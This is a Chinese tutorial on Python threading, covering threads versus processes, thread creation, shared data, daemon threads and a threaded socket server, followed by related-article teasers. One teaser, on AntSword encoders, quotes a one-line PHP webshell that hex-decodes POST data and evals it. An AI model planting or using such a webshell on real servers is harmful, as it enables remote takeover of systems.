线程相关概念及操作

news2024/10/6 6:59:20
【1】线程的概念
1.线程-->进程会得到一个内存地址,进程是资源分配的基本单位
  线程才是真正进程里处理数据与逻辑的东西
  进程---》被分配一定的资源
  线程---》利用进程资源处理数据与逻辑
【2】进程和线程关系:
  进程与进程之间是竞争关系,竞争内存空间和资源
  线程和线程之间,协作关系,共同完成某个任务
【3】进程和线程开销问题
进程 > 线程
原因:一个进程相当于一个工作车间
    一个线程只是一个进程里的流水线
    线程只是在进程已经申请有的资源上进行的处理
【4】进程和线程的区别
1. 线程共享创建它的进程的地址空间; 进程具有自己的地址空间。
2.线程可以直接访问其进程的数据段; 进程具有其父进程数据段的副本。
3.线程可以直接与所在进程中的其他线程通信; 进程必须使用进程间通信与同级进程进行通信。
4.新线程很容易创建; 新进程需要复制父进程。
5.线程可以对同一进程的线程行使相当大的控制权。 进程只能控制子进程。
"""
# 创建线程---->多线程和多进程只有在阻塞的时候才能到别的地方去运行
"""
【5】创建线程的方式
方式一:
引入模块,直接创建
from threading import Thread
def work():
    ...
if __name__ == '__main__':
    t1=Thread(target=work)
    t1.start()
方式二:
继承Thread类,重写run方法
继承了之后我的 New_Thread类他实例化的对象就是一个线程
from threading import Thread
class New_Thread(Thread):
​
    def __init__(self):
        super().__init__()
    def run(self):
        print("我是线程")
if __name__ == '__main__':
    t=New_Thread()
    t.start()

【6】多线程共享数据,多进程之间的数据是隔离开的
通过例子不难发现,线程中的数据,进行修改,在其他线程中会变
但是进程中的数据却不会
from multiprocessing import Process
from threading import Thread
num=10
def work():
    # 由于在局部修改全局的变量,要对局部的该变量进行等级提升
    global num
    print(f"改变前num={num}")
    num+=1
    print(f"改变后num={num}")
def main():
    for i in range(4):
        # thread=Thread(target=work)
        # thread.start()
        # thread.join()
        process=Process(target=work)
        process.start()
        process.join()
    print(f"当前num={num}")
if __name__ == '__main__':
    main()
【7】线程的查看的pid与ppid与进程的区别
线程的pid是他所属的进程,因为都是由同一个进程开的线程,所以他的pid是相同的,ppid相同由于是一个主进程开的进程里的线程
每个进程有每个进程的不一样的pid,但又相同的ppid
​
def work(name):
    print(f"当前{name}的pid={os.getpid()}")
    print(f"当前{name}的ppid={os.getppid()}")
def main():
    for i in range(2):
        # th=Thread(target=work,args=(f'线程{i+1}',))
        # th.start()
        # th.join()
        """
        当前线程1的pid=13532
        当前线程1的ppid=2792
        当前线程2的pid=13532
        当前线程2的ppid=2792
        当前主进程的pid=13532
        """
        p=Process(target=work,args=(f'进程{i+1}',))
        p.start()
        p.join()
        """
        当前进程1的pid=10412
        当前进程1的ppid=11060
        当前进程2的pid=16796
        当前进程2的ppid=11060
        当前主进程的pid=11060
        """
    print(f"当前主进程的pid={os.getpid()}")
if __name__ == '__main__':
    main()
【8】线程服务器并发
服务端
import socket
from socket import SOL_SOCKET,SO_REUSEADDR
from threading import Thread
​
​
class Server():
    def __init__(self):
        self.server=socket.socket()
        self.server.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
        self.server.bind(('127.0.0.1',8080))
        self.server.listen(5)
    @staticmethod
    def work(sock):
        while True:
            data=sock.recv(1024)
            if data.decode()=='':
                break
            print(data.decode())
            sock.send(f"你好{data.decode()}".encode())
    def main(self):
        while True:
            sock,addr=self.server.accept()
            t=Thread(target=self.work,args=(sock,))
            t.start()
            #t.join()
if __name__ == '__main__':
    t=Server()
    t.main()
客户端
import socket
client=socket.socket()
client.connect(('127.0.0.1',8080))
while True:
    msg=input("请输入》》:")
    client.send(msg.encode())
    data=client.recv(1024)
    print(data.decode())
【9】守护线程
主线程结束运行后不会马上结束,而是等待其他非守护子线程结束之后才会结束
守护子线程会跟着主线程一起死
例子
from threading import Thread
from multiprocessing import Process
import time


def foo():
    print(f' this is foo begin')
    time.sleep(1)
    print(f' this is foo end')


def func():
    print(f' this is func begin')
    time.sleep(3)
    print(f' this is func end')


def main():
    t1 = Thread(target=foo)
    t2 = Thread(target=func)
    t1.daemon = True
    t1.start()
    t2.start()

    print(f' this is main')


if __name__ == '__main__':
    main()
    
    #  this is foo begin
    #  this is func begin
    #  this is main
    #  this is foo end
    #  this is func end
【十】多进程和多线程之间比较
多进程--》适合计算密集型操作
多线程--》适合IO密集型操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1905130.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Gitlab Fork Workflow(协作工作流)

Gitlab Fork WorkFlow(协作工作流) Fork WorkFlow用于团队间的协作开发。在开发过程中,我们都需要将最新修改的代码合并到代码库上,在代码合并之前,为了保证代码符合上传要求(符合需求、代码规范等&#xf…

PageHelper分页查询遇到的小问题

如果我们是这样子直接查询 pagehelper会拼接导我们的sql语句之后 这样子我们搜索出来的list&#xff0c;就是里面参杂了PageHelper的东西 所以我们可以直接转成我们的Page类型 但是如果我们搜索出来的是List<Blog>&#xff0c;我有些信息不想返回给前端&#xff0c;所以…

运维系列.Nginx中使用HTTP压缩功能

运维专题 Nginx中使用HTTP压缩功能 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_28550…

系统级别的原生弹窗窗口

<!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>原生的弹出窗口dialog</title><style>…

【密码学】信息安全五大属性

信息安全的五大属性&#xff0c;通常被称为CIA三元组加上两个额外的属性&#xff0c;他们是确保信息在存储、处理和传输过程中保持安全、完整和可用的关键要素。这些属性共同构成了信息安全的基础框架。 一、信息安全五大属性 我先给出一个直观的列表&#xff0c;方面大家后续…

C++面向对象的常见面试题目(一)

1. 面向对象的三大特征 &#xff08;1&#xff09;封装&#xff1a;隐藏对象的内部状态&#xff0c;只暴露必要的接口。 #include <iostream> #include <string>// 定义一个简单的类 Person class Person { private: // 私有成员&#xff0c;外部不可直接访问std…

【LeetCode】十三、分治法:多数元素 + 最大子序列和

文章目录 1、分治法2、leetcode169&#xff1a;多数元素3、leetcode53&#xff1a;最大子序和 1、分治法 分治一般都搭配递归使用&#xff1a; 用分治法的一个应用——归并排序&#xff1a;将一组数不停的一分为二&#xff0c;直到分到每组只有一个数的时候 分到每组只有一个数…

【qt】TCP 服务端怎么收到信息?

上一节,我已经讲了,TCP的监听,是基于上一节的,不知道的可以看看. 当我们的TCP 服务器 有 客户端请求连接的时候,会发出一个信号newConnection(). 在TCP服务端与客户端的通信中,我们需要使用到套接字 QTcpSocket类. 套接字相当于是网络通信的接口,服务段和客户端都要通过它进行通…

【网络安全】实验一(网络拓扑环境的搭建)

一、本次实验的实验目的 学习利用 VMware 创建虚拟环境 学习利用 VMware 搭建各自网络拓扑环境 二、创建虚拟机 三、克隆虚拟机 选择克隆的系统必须处于关机状态。 方法一&#xff1a; 方法二&#xff1a; 需要修改克隆计算机的名字&#xff0c;避免产生冲突。 四、按照要求完…

JavaWeb—js(1)

概述 javascript简称js 1.js的特点&#xff0c;基本语法&#xff0c;对象等 2.js的功能&#xff0c;用来操作页面元素&#xff0c;用户交互&#xff0c;浏览器交互&#xff0c;网络数据的请求 后期使用的更多的是js的框架 jquery.js vue.js react.js JS相关概念 javascrip…

python使用pywebview集成vue3和element-plus开发桌面系统框架

随着web技术越来越成熟&#xff0c;就连QQ的windows客户端都用web技术来开发&#xff0c;所以在未来&#xff0c;web技术来开发windows桌面软件也会越来越多&#xff0c;所以在此发展驱动之下&#xff0c;将最近流程的python与web技术相结合&#xff0c;使用vue3和element-plus…

蚁剑编码器编写——中篇

看第二个示例 hex编码 木马 <?php foreach($_POST as $k > $v){$_POST[$k]pack("H*", $v);} eval($_POST[ant]); ?>pack(“H*”, $v)是将 $v 转换为为二进制&#xff0c;也就是ASCII解码 编码器 module.exports (pwd, data) > {let ret {};for (…

C/C++ 代码注释规范及 doxygen 工具

参考 谷歌项目风格指南——注释 C doxygen 风格注释示例 ubuntu20 中 doxygen 文档生成 doxygen 官方文档 在 /Doxygen/Special Command/ 章节介绍 doxygen 的关键字 注释说明 注释的目的是提高代码的可读性与可维护性。 C 风格注释 // 单行注释/* 多行注释 */ C 风格注…

ESP32 步进电机精准控制:打造高精度 DIY 写字机器人,实现流畅书写体验

摘要: 想让你的 ESP32 不再仅仅是控制灯光的工具吗&#xff1f; 本文将带你使用 ESP32 开发板、步进电机和简单的机械结构打造一个能够自动写字的机器人。我们将深入浅出地讲解硬件连接、软件代码以及控制逻辑&#xff0c;并提供完整的项目代码和电路图&#xff0c;即使是 Ardu…

AI与编程:一个学生的心路历程与思考

前言 大家好&#xff0c;本人是在一个在校的大学生&#xff0c;方向是前端语言。爱好是码代码和看一点小新闻&#xff0c;游戏也是喜爱的。其实本篇文章的想法是源于网上一些人对AI以及对前端的看法&#xff0c;看完网上的评论后我也是有感而发。本篇文章的讨论中心也是围绕着A…

我国网络安全领域有哪些法律法规?主要内容是什么?

1. 背景介绍 网络信息安全方面的法规在全球范围内都有相应的立法&#xff0c;我们主要的立法有《网络安全法》、《密码法》、《数据安全法》以及《个人信息保护法》。当前也有一些相关的条例和管理办法&#xff0c;接下来就为大家一一介绍。 2. 法规介绍 在中国&#xff0c;…

昇思25天学习打卡营第14天|基于MindNLP的文本解码原理

基于MindNLP的文本解码原理 文本解码 文本解码是自然语言处理中的一个关键步骤,特别是在任务如机器翻译、文本摘要、自动回复生成等领域。解码过程涉及将编码器(如语言模型、翻译模型等)的输出转换为可读的文本序列。以下是一些常见的文本解码方法和原理: 1. 自回归解码:…

2.3.2 主程序和外部IO交互 (文件映射方式)----C#调用范例

2.3.2 主程序和外部IO交互 &#xff08;文件映射方式&#xff09;----C#调用范例 效果显示 1 说明 1 .1 Test_IOServer是64bit 程序&#xff0c; BD_SharedIOServerd.dll 在 /Debug文件夹中 1 .2 Test_IOServer是32bit 程序&#xff0c; BD_SharedIOClientd.dll (32bit&#…

安卓的组件

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 目录 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌…

六、数据可视化—flask框架入门(爬虫及数据可视化)

六、数据可视化—flask框架入门&#xff08;爬虫及数据可视化&#xff09; 1&#xff0c;数据可视化简介2&#xff0c;flask&#xff08;1&#xff09;创建flask项目&#xff08;2&#xff09;开启debug模式&#xff08;3&#xff09;通过访问路径传递参数&#xff08;4&#x…